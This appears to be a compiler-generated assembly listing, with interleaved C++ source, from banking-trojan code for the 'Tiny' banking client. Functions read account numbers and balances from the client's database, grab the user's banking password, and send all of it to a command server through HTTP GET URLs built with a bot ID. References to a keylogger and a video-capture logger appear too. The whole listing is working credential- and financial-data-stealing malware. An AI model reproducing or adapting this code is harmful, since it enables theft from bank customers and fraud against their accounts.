; File e:\projects\progs\petrosjan\bjwj\source\core\memory.h
CONST	SEGMENT
??_C@_0FC@LGGMAAOJ@http?3?1?1?$CFs?1raf?1?$DPuid?$DN?$CFs?$CGsys?$DNtiny?$CGc@ DB 'h'
	DB	'ttp://%s/raf/?uid=%s&sys=tiny&cid=%s&mode=balance&sum=%s&acc='
	DB	'%s&text=bank|%s&w=1', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_05KBEOJPB@?$CFd?4?$CFd?$AA@
CONST	SEGMENT
??_C@_05KBEOJPB@?$CFd?4?$CFd?$AA@ DB '%d.%d', 00H	; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\rubnk\tiny.cpp
CONST	ENDS
;	COMDAT ?SendBalance@Tiny@@YGKPAUInfoAccount@1@@Z
_TEXT	SEGMENT
_H$99901 = -396						; size = 248
_nameBank$99894 = -148					; size = 100
_balance$99896 = -48					; size = 16
_qr$99892 = -32						; size = 8
_Host$ = -24						; size = 8
_pwsprintfA$99891 = -16					; size = 4
tv130 = -12						; size = 8
tv128 = -12						; size = 8
$T101863 = -12						; size = 8
$T101862 = -12						; size = 8
_urlNameBank$99895 = -4					; size = 4
_account$99893 = 8					; size = 4
_ia$ = 8						; size = 4
?SendBalance@Tiny@@YGKPAUInfoAccount@1@@Z PROC		; Tiny::SendBalance, COMDAT
; 329  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	81 ec 8c 01 00
	00		 sub	 esp, 396		; 0000018cH
; 330  : 	DBG( "Tiny", "
: %ls, %I64d, '%ls'", ia->account, ia->balance, ia->name );
; 331  : 	string Host = GetAzHost();
  00009	8d 45 e8	 lea	 eax, DWORD PTR _Host$[ebp]
  0000c	6a 00		 push	 0
  0000e	50		 push	 eax
  0000f	e8 00 00 00 00	 call	 ?GetAzHost@@YA?AV?$TString@D@@_N@Z ; GetAzHost
; 332  : 	if(!Host.IsEmpty())
  00014	ff 75 ec	 push	 DWORD PTR _Host$[ebp+4]
  00017	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  0001c	83 c4 0c	 add	 esp, 12			; 0000000cH
  0001f	84 c0		 test	 al, al
  00021	0f 85 08 01 00
	00		 jne	 $LN22@SendBalanc
  00027	53		 push	 ebx
  00028	56		 push	 esi
; 333  : 	{
; 334  : 		fwsprintfA pwsprintfA = Get_wsprintfA();
  00029	e8 00 00 00 00	 call	 ?Get_wsprintfA@@YAP6AHPADPBDZZXZ ; Get_wsprintfA
; 335  : 		TMemory qr(512);
  0002e	68 00 02 00 00	 push	 512			; 00000200H
  00033	89 45 f0	 mov	 DWORD PTR _pwsprintfA$99891[ebp], eax
  00036	e8 00 00 00 00	 call	 ?MemAlloc@@YAPAXK@Z	; MemAlloc
; 336  : 		char* account = WSTR::ToAnsi( ia->account, 0 );
  0003b	8b 75 08	 mov	 esi, DWORD PTR _ia$[ebp]
  0003e	6a 00		 push	 0
  00040	56		 push	 esi
  00041	89 45 e0	 mov	 DWORD PTR _qr$99892[ebp], eax
  00044	e8 00 00 00 00	 call	 ?ToAnsi@WSTR@@YAPADPB_WK@Z ; WSTR::ToAnsi
; 337  : 		char nameBank[100];
; 338  : 		GetNameBank( nameBank, sizeof(nameBank) );
  00049	6a 64		 push	 100			; 00000064H
  0004b	8d 9d 6c ff ff
	ff		 lea	 ebx, DWORD PTR _nameBank$99894[ebp]
  00051	89 45 08	 mov	 DWORD PTR _account$99893[ebp], eax
  00054	e8 00 00 00 00	 call	 ?GetNameBank@Tiny@@YAHPADH@Z ; Tiny::GetNameBank
; 339  : 		char* urlNameBank = URLEncode(nameBank);
  00059	8b c3		 mov	 eax, ebx
  0005b	6a 00		 push	 0
  0005d	50		 push	 eax
  0005e	e8 00 00 00 00	 call	 ?URLEncode@@YAPADPADK@Z	; URLEncode
  00063	83 c4 18	 add	 esp, 24			; 00000018H
; 340  : 		char balance[16];
; 341  : 		pwsprintfA( balance, "%d.%d", int(ia->balance / 10000), int((ia->balance % 10000)) / 100 );
  00066	6a 00		 push	 0
  00068	89 45 fc	 mov	 DWORD PTR _urlNameBank$99895[ebp], eax
  0006b	8b 46 20	 mov	 eax, DWORD PTR [esi+32]
  0006e	8b 76 24	 mov	 esi, DWORD PTR [esi+36]
  00071	68 10 27 00 00	 push	 10000			; 00002710H
  00076	56		 push	 esi
  00077	50		 push	 eax
  00078	e8 00 00 00 00	 call	 __alldvrm
  0007d	8b f0		 mov	 esi, eax
  0007f	6a 64		 push	 100			; 00000064H
  00081	8b c1		 mov	 eax, ecx
  00083	59		 pop	 ecx
  00084	89 5d f8	 mov	 DWORD PTR tv128[ebp+4], ebx
  00087	89 55 f8	 mov	 DWORD PTR tv130[ebp+4], edx
  0008a	99		 cdq
  0008b	f7 f9		 idiv	 ecx
  0008d	50		 push	 eax
  0008e	56		 push	 esi
  0008f	8d 45 d0	 lea	 eax, DWORD PTR _balance$99896[ebp]
  00092	68 00 00 00 00	 push	 OFFSET ??_C@_05KBEOJPB@?$CFd?4?$CFd?$AA@
  00097	50		 push	 eax
  00098	ff 55 f0	 call	 DWORD PTR _pwsprintfA$99891[ebp]
; 342  : 		//
; 343  : 		//pwsprintfA( qr.AsStr(), "http://%s/raf/?uid=%s&sys=tiny&cid=%s&mode=getdrop&sum=%s&acc=%s", urlAdmin, Bot->UID.t_str(), azUser.t_str(), balance, account );
; 344  : 		pwsprintfA( qr.AsStr(), "http://%s/raf/?uid=%s&sys=tiny&cid=%s&mode=balance&sum=%s&acc=%s&text=bank|%s&w=1", Host.t_str(), BOT_UID, GetAzUser().t_str(), balance, account, urlNameBank);
  0009b	8b 75 ec	 mov	 esi, DWORD PTR _Host$[ebp+4]
  0009e	83 c4 10	 add	 esp, 16			; 00000010H
  000a1	85 f6		 test	 esi, esi
  000a3	75 05		 jne	 SHORT $LN13@SendBalanc
  000a5	be 00 00 00 00	 mov	 esi, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN13@SendBalanc:
  000aa	ff 75 fc	 push	 DWORD PTR _urlNameBank$99895[ebp]
  000ad	8d 45 d0	 lea	 eax, DWORD PTR _balance$99896[ebp]
  000b0	ff 75 08	 push	 DWORD PTR _account$99893[ebp]
  000b3	50		 push	 eax
  000b4	8d 45 f4	 lea	 eax, DWORD PTR $T101862[ebp]
  000b7	50		 push	 eax
  000b8	e8 00 00 00 00	 call	 ?GetAzUser@@YA?AV?$TString@D@@XZ ; GetAzUser
  000bd	59		 pop	 ecx
  000be	8b c8		 mov	 ecx, eax
  000c0	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  000c5	50		 push	 eax
  000c6	68 00 00 00 00	 push	 OFFSET ?BOT_UID@@3PADA	; BOT_UID
  000cb	56		 push	 esi
  000cc	68 00 00 00 00	 push	 OFFSET ??_C@_0FC@LGGMAAOJ@http?3?1?1?$CFs?1raf?1?$DPuid?$DN?$CFs?$CGsys?$DNtiny?$CGc@
  000d1	ff 75 e0	 push	 DWORD PTR _qr$99892[ebp]
  000d4	ff 55 f0	 call	 DWORD PTR _pwsprintfA$99891[ebp]
  000d7	83 c4 20	 add	 esp, 32			; 00000020H
  000da	8d 4d f4	 lea	 ecx, DWORD PTR $T101862[ebp]
  000dd	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 345  : 		DBG( "Tiny", "
 %s", qr.AsStr() );
; 346  : 		THTTP H;
  000e2	8d 8d 74 fe ff
	ff		 lea	 ecx, DWORD PTR _H$99901[ebp]
  000e8	e8 00 00 00 00	 call	 ??0THTTP@@QAE@XZ	; THTTP::THTTP
; 347  : 		H.Get(qr.AsStr());
  000ed	ff 75 e0	 push	 DWORD PTR _qr$99892[ebp]
  000f0	8d 45 f4	 lea	 eax, DWORD PTR $T101863[ebp]
  000f3	50		 push	 eax
  000f4	8d 8d 74 fe ff
	ff		 lea	 ecx, DWORD PTR _H$99901[ebp]
  000fa	e8 00 00 00 00	 call	 ?Get@THTTP@@QAE?AV?$TString@D@@PBD@Z ; THTTP::Get
  000ff	8d 4d f4	 lea	 ecx, DWORD PTR $T101863[ebp]
  00102	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 348  : 		STR::Free(account);
  00107	ff 75 08	 push	 DWORD PTR _account$99893[ebp]
  0010a	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 349  : 		STR::Free(urlNameBank);
  0010f	ff 75 fc	 push	 DWORD PTR _urlNameBank$99895[ebp]
  00112	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  00117	59		 pop	 ecx
  00118	59		 pop	 ecx
; 350  : 	}
  00119	8d 8d 74 fe ff
	ff		 lea	 ecx, DWORD PTR _H$99901[ebp]
  0011f	e8 00 00 00 00	 call	 ??1THTTP@@UAE@XZ	; THTTP::~THTTP
  00124	ff 75 e0	 push	 DWORD PTR _qr$99892[ebp]
  00127	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  0012c	59		 pop	 ecx
  0012d	5e		 pop	 esi
  0012e	5b		 pop	 ebx
$LN22@SendBalanc:
; 351  : 	return 0;
  0012f	8d 4d e8	 lea	 ecx, DWORD PTR _Host$[ebp]
  00132	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00137	33 c0		 xor	 eax, eax
; 352  : }
  00139	c9		 leave
  0013a	c2 04 00	 ret	 4
?SendBalance@Tiny@@YGKPAUInfoAccount@1@@Z ENDP		; Tiny::SendBalance
_TEXT	ENDS
PUBLIC	??_C@_0DF@EENEODDN@select?5Code?0Confirmed?5from?5Amoun@ ; `string'
PUBLIC	??_C@_09HFNFHLLP@os31?5os31?$AA@		; `string'
;	COMDAT ??_C@_0DF@EENEODDN@select?5Code?0Confirmed?5from?5Amoun@
CONST	SEGMENT
??_C@_0DF@EENEODDN@select?5Code?0Confirmed?5from?5Amoun@ DB 'select Code,'
	DB	'Confirmed from Amounts where Confirmed>0', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_09HFNFHLLP@os31?5os31?$AA@
CONST	SEGMENT
??_C@_09HFNFHLLP@os31?5os31?$AA@ DB 'os31 os31', 00H	; `string'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ?SendBalanceOld@Tiny@@YGKPAX@Z
_TEXT	SEGMENT
_Confirmed$ = -112					; size = 32
_Code$ = -80						; size = 32
_accountA$99919 = -48					; size = 32
_qr$ = -16						; size = 4
_account$99921 = -12					; size = 4
_DB$ = -8						; size = 4
tv246 = -4						; size = 4
___formal$ = 8						; size = 4
?SendBalanceOld@Tiny@@YGKPAX@Z PROC			; Tiny::SendBalanceOld, COMDAT
; 356  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 70	 sub	 esp, 112		; 00000070H
  00006	56		 push	 esi
; 357  : 	ODBC* DB = OpenDB();
  00007	e8 00 00 00 00	 call	 ?OpenDB@Tiny@@YAPAVODBC@@XZ ; Tiny::OpenDB
  0000c	8b f0		 mov	 esi, eax
  0000e	89 75 f8	 mov	 DWORD PTR _DB$[ebp], esi
; 358  : 	if( DB == 0 ) return 0;
  00011	85 f6		 test	 esi, esi
  00013	0f 84 55 01 00
	00		 je	 $LN21@SendBalanc@2
$LN13@SendBalanc@2:
; 359  : 	char Code[32], Confirmed[32];
; 360  : 	const char* sql = "select Code,Confirmed from Amounts where Confirmed>0";
; 361  : 	SQLHSTMT qr = DB->ExecuteSql( sql, "os31 os31", Code, Confirmed );
  00019	8d 45 90	 lea	 eax, DWORD PTR _Confirmed$[ebp]
  0001c	50		 push	 eax
  0001d	8d 45 b0	 lea	 eax, DWORD PTR _Code$[ebp]
  00020	50		 push	 eax
  00021	68 00 00 00 00	 push	 OFFSET ??_C@_09HFNFHLLP@os31?5os31?$AA@
  00026	68 00 00 00 00	 push	 OFFSET ??_C@_0DF@EENEODDN@select?5Code?0Confirmed?5from?5Amoun@
  0002b	56		 push	 esi
  0002c	e8 00 00 00 00	 call	 ?ExecuteSql@ODBC@@QAAPAXPBD0ZZ ; ODBC::ExecuteSql
  00031	83 c4 14	 add	 esp, 20			; 00000014H
  00034	89 45 f0	 mov	 DWORD PTR _qr$[ebp], eax
; 362  : 	if( qr )
  00037	85 c0		 test	 eax, eax
  00039	0f 84 27 01 00
	00		 je	 $LN12@SendBalanc@2
  0003f	53		 push	 ebx
  00040	57		 push	 edi
$LL11@SendBalanc@2:
; 363  : 	{
; 364  : 		do
; 365  : 		{
; 366  : 			char accountA[32];
; 367  : 			AccountToNormal( Code, accountA );
  00041	8d 45 d0	 lea	 eax, DWORD PTR _accountA$99919[ebp]
  00044	50		 push	 eax
  00045	8d 4d b0	 lea	 ecx, DWORD PTR _Code$[ebp]
  00048	e8 00 00 00 00	 call	 ?AccountToNormal@Tiny@@YAPADPBDPAD@Z ; Tiny::AccountToNormal
  0004d	59		 pop	 ecx
; 368  : 			int len = m_lstrlen(accountA);
  0004e	8d 45 d0	 lea	 eax, DWORD PTR _accountA$99919[ebp]
  00051	50		 push	 eax
  00052	e8 00 00 00 00	 call	 ?m_lstrlen@@YGKPBD@Z	; m_lstrlen
  00057	8b d8		 mov	 ebx, eax
; 369  : 			wchar_t* account = AnsiToUnicode(accountA, 0);
  00059	33 ff		 xor	 edi, edi
  0005b	8d 45 d0	 lea	 eax, DWORD PTR _accountA$99919[ebp]
  0005e	57		 push	 edi
  0005f	50		 push	 eax
  00060	e8 00 00 00 00	 call	 ?AnsiToUnicode@@YAPA_WPADK@Z ; AnsiToUnicode
; 370  : 			currAccount = -1;
  00065	83 0d 00 00 00
	00 ff		 or	 DWORD PTR _currAccount, -1
; 371  : 			int i = 0;
; 372  : 			for( i = 0; i < ARRAYSIZE(accountClient) - 1 && accountClient[i].account[0]; i++ )
  0006c	21 7d fc	 and	 DWORD PTR tv246[ebp], edi
  0006f	59		 pop	 ecx
  00070	59		 pop	 ecx
  00071	89 45 f4	 mov	 DWORD PTR _account$99921[ebp], eax
  00074	be 00 00 00 00	 mov	 esi, OFFSET _accountClient
$LL31@SendBalanc@2:
  00079	66 83 3e 00	 cmp	 WORD PTR [esi], 0
  0007d	74 2d		 je	 SHORT $LN29@SendBalanc@2
; 373  : 			{
; 374  : 				if( !m_wcsncmp( account, accountClient[i].account, len ) ) //
  0007f	53		 push	 ebx
  00080	56		 push	 esi
  00081	ff 75 f4	 push	 DWORD PTR _account$99921[ebp]
  00084	e8 00 00 00 00	 call	 ?m_wcsncmp@@YA_NPA_W0I@Z ; m_wcsncmp
  00089	83 c4 0c	 add	 esp, 12			; 0000000cH
  0008c	84 c0		 test	 al, al
  0008e	74 16		 je	 SHORT $LN25@SendBalanc@2
  00090	b8 30 01 00 00	 mov	 eax, 304		; 00000130H
  00095	01 45 fc	 add	 DWORD PTR tv246[ebp], eax
  00098	47		 inc	 edi
  00099	03 f0		 add	 esi, eax
  0009b	81 7d fc b0 0a
	00 00		 cmp	 DWORD PTR tv246[ebp], 2736 ; 00000ab0H
  000a2	72 d5		 jb	 SHORT $LL31@SendBalanc@2
  000a4	eb 06		 jmp	 SHORT $LN29@SendBalanc@2
$LN25@SendBalanc@2:
; 375  : 				{
; 376  : 					currAccount = i;
  000a6	89 3d 00 00 00
	00		 mov	 DWORD PTR _currAccount, edi
$LN29@SendBalanc@2:
; 377  : 					break;
; 378  : 				}
; 379  : 			}
; 380  : 			if( currAccount < 0 ) //
  000ac	83 3d 00 00 00
	00 00		 cmp	 DWORD PTR _currAccount, 0
  000b3	7d 39		 jge	 SHORT $LN27@SendBalanc@2
; 381  : 			{
; 382  : 				if( i < ARRAYSIZE(accountClient) - 1 ) //
  000b5	83 ff 09	 cmp	 edi, 9
  000b8	73 2b		 jae	 SHORT $LN3@SendBalanc@2
; 383  : 				{
; 384  : 					//
; 385  : 					m_wcsncpy( accountClient[i].account, account, len + 1 );
  000ba	8b f7		 mov	 esi, edi
  000bc	69 f6 30 01 00
	00		 imul	 esi, 304		; 00000130H
  000c2	43		 inc	 ebx
  000c3	53		 push	 ebx
  000c4	ff 75 f4	 push	 DWORD PTR _account$99921[ebp]
  000c7	8d 86 00 00 00
	00		 lea	 eax, DWORD PTR _accountClient[esi]
  000cd	50		 push	 eax
  000ce	e8 00 00 00 00	 call	 ?m_wcsncpy@@YAPA_WPA_W0K@Z ; m_wcsncpy
  000d3	83 c4 0c	 add	 esp, 12			; 0000000cH
; 386  : 					accountClient[i + 1].account[0] = 0;
  000d6	33 c0		 xor	 eax, eax
  000d8	66 89 86 30 01
	00 00		 mov	 WORD PTR _accountClient[esi+304], ax
; 387  : 					currAccount = i;
  000df	89 3d 00 00 00
	00		 mov	 DWORD PTR _currAccount, edi
$LN3@SendBalanc@2:
; 388  : 				}
; 389  : 			}
; 390  : 			if( currAccount >= 0 )
  000e5	83 3d 00 00 00
	00 00		 cmp	 DWORD PTR _currAccount, 0
  000ec	7c 4b		 jl	 SHORT $LN1@SendBalanc@2
$LN27@SendBalanc@2:
; 391  : 			{
; 392  : 				__int64 balance =  SumToInt( Confirmed, 0 );
  000ee	6a 00		 push	 0
  000f0	8d 45 90	 lea	 eax, DWORD PTR _Confirmed$[ebp]
  000f3	e8 00 00 00 00	 call	 ?SumToInt@Tiny@@YA_JPBDPAH@Z ; Tiny::SumToInt
  000f8	59		 pop	 ecx
; 393  : 				if( accountClient[i].balance != balance )
  000f9	8b cf		 mov	 ecx, edi
  000fb	69 c9 30 01 00
	00		 imul	 ecx, 304		; 00000130H
  00101	8b b1 20 00 00
	00		 mov	 esi, DWORD PTR _accountClient[ecx+32]
  00107	8b b9 24 00 00
	00		 mov	 edi, DWORD PTR _accountClient[ecx+36]
  0010d	3b f0		 cmp	 esi, eax
  0010f	75 04		 jne	 SHORT $LN28@SendBalanc@2
  00111	3b fa		 cmp	 edi, edx
  00113	74 24		 je	 SHORT $LN1@SendBalanc@2
$LN28@SendBalanc@2:
; 394  : 				{
; 395  : 					accountClient[i].oldBalance = accountClient[i].balance;
; 396  : 					accountClient[i].balance = balance;
  00115	89 81 20 00 00
	00		 mov	 DWORD PTR _accountClient[ecx+32], eax
; 397  : 					DBG( "Tiny", "account = %ls, balance = %I64d", account, balance );
; 398  : 					SendBalance(&accountClient[i]);
  0011b	8d 81 00 00 00
	00		 lea	 eax, DWORD PTR _accountClient[ecx]
  00121	50		 push	 eax
  00122	89 b1 28 00 00
	00		 mov	 DWORD PTR _accountClient[ecx+40], esi
  00128	89 b9 2c 00 00
	00		 mov	 DWORD PTR _accountClient[ecx+44], edi
  0012e	89 91 24 00 00
	00		 mov	 DWORD PTR _accountClient[ecx+36], edx
  00134	e8 00 00 00 00	 call	 ?SendBalance@Tiny@@YGKPAUInfoAccount@1@@Z ; Tiny::SendBalance
$LN1@SendBalanc@2:
; 399  : 				}
; 400  : 			}
; 401  : 			MemFree(accountA);
  00139	8d 45 d0	 lea	 eax, DWORD PTR _accountA$99919[ebp]
  0013c	50		 push	 eax
  0013d	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  00142	59		 pop	 ecx
; 402  : 		} while( DB->NextRow(qr) );
  00143	ff 75 f0	 push	 DWORD PTR _qr$[ebp]
  00146	8b 4d f8	 mov	 ecx, DWORD PTR _DB$[ebp]
  00149	e8 00 00 00 00	 call	 ?NextRow@ODBC@@QAE_NPAX@Z ; ODBC::NextRow
  0014e	84 c0		 test	 al, al
  00150	0f 85 eb fe ff
	ff		 jne	 $LL11@SendBalanc@2
; 403  : 		DB->CloseQuery(qr);
  00156	ff 75 f0	 push	 DWORD PTR _qr$[ebp]
  00159	8b 4d f8	 mov	 ecx, DWORD PTR _DB$[ebp]
  0015c	e8 00 00 00 00	 call	 ?CloseQuery@ODBC@@QAEXPAX@Z ; ODBC::CloseQuery
  00161	8b 75 f8	 mov	 esi, DWORD PTR _DB$[ebp]
  00164	5f		 pop	 edi
  00165	5b		 pop	 ebx
$LN12@SendBalanc@2:
; 404  : 	}
; 405  : 	CloseDB(DB);
  00166	8b 06		 mov	 eax, DWORD PTR [esi]
  00168	6a 01		 push	 1
  0016a	8b ce		 mov	 ecx, esi
  0016c	ff 10		 call	 DWORD PTR [eax]
$LN21@SendBalanc@2:
  0016e	5e		 pop	 esi
; 406  : }
  0016f	c9		 leave
  00170	c2 04 00	 ret	 4
?SendBalanceOld@Tiny@@YGKPAX@Z ENDP			; Tiny::SendBalanceOld
_TEXT	ENDS
PUBLIC	??_C@_0EB@JNHNFJMD@http?3?1?1?$CFs?1raf?1?$DPuid?$DN?$CFs?$CGsys?$DNtiny?$CGc@ ; `string'
PUBLIC	??_C@_09PIGDEGFD@Password?$DN?$AA@		; `string'
_BSS	SEGMENT
_passwordClient DB 064H DUP (?)
_BSS	ENDS
;	COMDAT ??_C@_0EB@JNHNFJMD@http?3?1?1?$CFs?1raf?1?$DPuid?$DN?$CFs?$CGsys?$DNtiny?$CGc@
; File e:\projects\progs\petrosjan\bjwj\source\core\memory.h
CONST	SEGMENT
??_C@_0EB@JNHNFJMD@http?3?1?1?$CFs?1raf?1?$DPuid?$DN?$CFs?$CGsys?$DNtiny?$CGc@ DB 'h'
	DB	'ttp://%s/raf/?uid=%s&sys=tiny&cid=%s&mode=setlog&log=00&text='
	DB	'%s', 00H					; `string'
CONST	ENDS
;	COMDAT ??_C@_09PIGDEGFD@Password?$DN?$AA@
CONST	SEGMENT
??_C@_09PIGDEGFD@Password?$DN?$AA@ DB 'Password=', 00H	; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\rubnk\tiny.cpp
CONST	ENDS
;	COMDAT ?SendPassword@Tiny@@YGKPAX@Z
_TEXT	SEGMENT
_H$99963 = -284						; size = 248
_text$99955 = -36					; size = 128
$T101923 = 92						; size = 8
_azUser$99960 = 100					; size = 8
_Host$ = 108						; size = 8
___formal$ = 124					; size = 4
?SendPassword@Tiny@@YGKPAX@Z PROC			; Tiny::SendPassword, COMDAT
; 409  : {
  00000	55		 push	 ebp
  00001	8d 6c 24 8c	 lea	 ebp, DWORD PTR [esp-116]
  00005	81 ec 90 01 00
	00		 sub	 esp, 400		; 00000190H
; 410  : 	DBG( "Tiny", "
 %s", passwordClient );
; 411  : 	string Host = GetAzHost();
  0000b	8d 45 6c	 lea	 eax, DWORD PTR _Host$[ebp]
  0000e	6a 00		 push	 0
  00010	50		 push	 eax
  00011	e8 00 00 00 00	 call	 ?GetAzHost@@YA?AV?$TString@D@@_N@Z ; GetAzHost
; 412  : 	if(!Host.IsEmpty())
  00016	ff 75 70	 push	 DWORD PTR _Host$[ebp+4]
  00019	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  0001e	83 c4 0c	 add	 esp, 12			; 0000000cH
  00021	84 c0		 test	 al, al
  00023	0f 85 bc 00 00
	00		 jne	 $LN26@SendPasswo
  00029	53		 push	 ebx
  0002a	56		 push	 esi
  0002b	57		 push	 edi
; 413  : 	{
; 414  : 		char text[128];
; 415  : 		fwsprintfA pwsprintfA = Get_wsprintfA();
  0002c	e8 00 00 00 00	 call	 ?Get_wsprintfA@@YAP6AHPADPBDZZXZ ; Get_wsprintfA
  00031	8b d8		 mov	 ebx, eax
; 416  : 		m_lstrcpy( text, "Password=" );
  00033	68 00 00 00 00	 push	 OFFSET ??_C@_09PIGDEGFD@Password?$DN?$AA@
  00038	8d 45 dc	 lea	 eax, DWORD PTR _text$99955[ebp]
  0003b	50		 push	 eax
  0003c	e8 00 00 00 00	 call	 ?m_lstrcpy@@YGXPADPBD@Z	; m_lstrcpy
; 417  : 		m_lstrcat( text, passwordClient );
  00041	68 00 00 00 00	 push	 OFFSET _passwordClient
  00046	8d 45 dc	 lea	 eax, DWORD PTR _text$99955[ebp]
  00049	50		 push	 eax
  0004a	e8 00 00 00 00	 call	 ?m_lstrcat@@YGXPADPBD@Z	; m_lstrcat
; 418  : 		char* urlText= URLEncode(text);
  0004f	8d 45 dc	 lea	 eax, DWORD PTR _text$99955[ebp]
  00052	6a 00		 push	 0
  00054	50		 push	 eax
  00055	e8 00 00 00 00	 call	 ?URLEncode@@YAPADPADK@Z	; URLEncode
; 419  : 		TMemory qr(512);
  0005a	68 00 02 00 00	 push	 512			; 00000200H
  0005f	8b f8		 mov	 edi, eax
  00061	e8 00 00 00 00	 call	 ?MemAlloc@@YAPAXK@Z	; MemAlloc
  00066	8b f0		 mov	 esi, eax
; 420  : 		string azUser = GetAzUser();
  00068	8d 45 64	 lea	 eax, DWORD PTR _azUser$99960[ebp]
  0006b	50		 push	 eax
  0006c	e8 00 00 00 00	 call	 ?GetAzUser@@YA?AV?$TString@D@@XZ ; GetAzUser
; 421  : 		pwsprintfA( qr.AsStr(), "http://%s/raf/?uid=%s&sys=tiny&cid=%s&mode=setlog&log=00&text=%s", Host.t_str(), BOT_UID, azUser.t_str(), urlText );
  00071	8b 4d 68	 mov	 ecx, DWORD PTR _azUser$99960[ebp+4]
  00074	83 c4 10	 add	 esp, 16			; 00000010H
  00077	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
  0007c	85 c9		 test	 ecx, ecx
  0007e	75 02		 jne	 SHORT $LN13@SendPasswo
  00080	8b c8		 mov	 ecx, eax
$LN13@SendPasswo:
  00082	83 7d 70 00	 cmp	 DWORD PTR _Host$[ebp+4], 0
  00086	74 03		 je	 SHORT $LN16@SendPasswo
  00088	8b 45 70	 mov	 eax, DWORD PTR _Host$[ebp+4]
$LN16@SendPasswo:
  0008b	57		 push	 edi
  0008c	51		 push	 ecx
  0008d	68 00 00 00 00	 push	 OFFSET ?BOT_UID@@3PADA	; BOT_UID
  00092	50		 push	 eax
  00093	68 00 00 00 00	 push	 OFFSET ??_C@_0EB@JNHNFJMD@http?3?1?1?$CFs?1raf?1?$DPuid?$DN?$CFs?$CGsys?$DNtiny?$CGc@
  00098	56		 push	 esi
  00099	ff d3		 call	 ebx
  0009b	83 c4 18	 add	 esp, 24			; 00000018H
; 422  : 		DBG( "Tiny", "
 %s", qr.AsStr() );
; 423  : 		THTTP H;
  0009e	8d 8d e4 fe ff
	ff		 lea	 ecx, DWORD PTR _H$99963[ebp]
  000a4	e8 00 00 00 00	 call	 ??0THTTP@@QAE@XZ	; THTTP::THTTP
; 424  : 		H.Get(qr.AsStr());
  000a9	56		 push	 esi
  000aa	8d 45 5c	 lea	 eax, DWORD PTR $T101923[ebp]
  000ad	50		 push	 eax
  000ae	8d 8d e4 fe ff
	ff		 lea	 ecx, DWORD PTR _H$99963[ebp]
  000b4	e8 00 00 00 00	 call	 ?Get@THTTP@@QAE?AV?$TString@D@@PBD@Z ; THTTP::Get
  000b9	8d 4d 5c	 lea	 ecx, DWORD PTR $T101923[ebp]
  000bc	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 425  : 		STR::Free(urlText);
  000c1	57		 push	 edi
  000c2	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  000c7	59		 pop	 ecx
; 426  : 	}
  000c8	8d 8d e4 fe ff
	ff		 lea	 ecx, DWORD PTR _H$99963[ebp]
  000ce	e8 00 00 00 00	 call	 ??1THTTP@@UAE@XZ	; THTTP::~THTTP
  000d3	8d 4d 64	 lea	 ecx, DWORD PTR _azUser$99960[ebp]
  000d6	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  000db	56		 push	 esi
  000dc	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  000e1	59		 pop	 ecx
  000e2	5f		 pop	 edi
  000e3	5e		 pop	 esi
  000e4	5b		 pop	 ebx
$LN26@SendPasswo:
; 427  : 	return 0;
  000e5	8d 4d 6c	 lea	 ecx, DWORD PTR _Host$[ebp]
  000e8	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  000ed	33 c0		 xor	 eax, eax
; 428  : }
  000ef	83 c5 74	 add	 ebp, 116		; 00000074H
  000f2	c9		 leave
  000f3	c2 04 00	 ret	 4
?SendPassword@Tiny@@YGKPAX@Z ENDP			; Tiny::SendPassword
_TEXT	ENDS
PUBLIC	??_C@_04MPBFNCPB@tiny?$AA@			; `string'
PUBLIC	??_C@_0M@JMMMJPOA@Path?5client?$AA@		; `string'
PUBLIC	??_C@_0O@LADICFLC@Path?5database?$AA@		; `string'
PUBLIC	??_C@_08FJIAHGMM@Password?$AA@			; `string'
PUBLIC	??_C@_05DHEMANOL@Login?$AA@			; `string'
EXTRN	?CloseSession@KeyLogger@@YAXXZ:PROC		; KeyLogger::CloseSession
EXTRN	?SendLog@VideoProcess@@YA_NHPBDH0@Z:PROC	; VideoProcess::SendLog
EXTRN	?RunThread@@YAXPAX0@Z:PROC			; RunThread
;	COMDAT ??_C@_04MPBFNCPB@tiny?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\memory.h
CONST	SEGMENT
??_C@_04MPBFNCPB@tiny?$AA@ DB 'tiny', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_0M@JMMMJPOA@Path?5client?$AA@
CONST	SEGMENT
??_C@_0M@JMMMJPOA@Path?5client?$AA@ DB 'Path client', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0O@LADICFLC@Path?5database?$AA@
CONST	SEGMENT
??_C@_0O@LADICFLC@Path?5database?$AA@ DB 'Path database', 00H ; `string'
CONST	ENDS
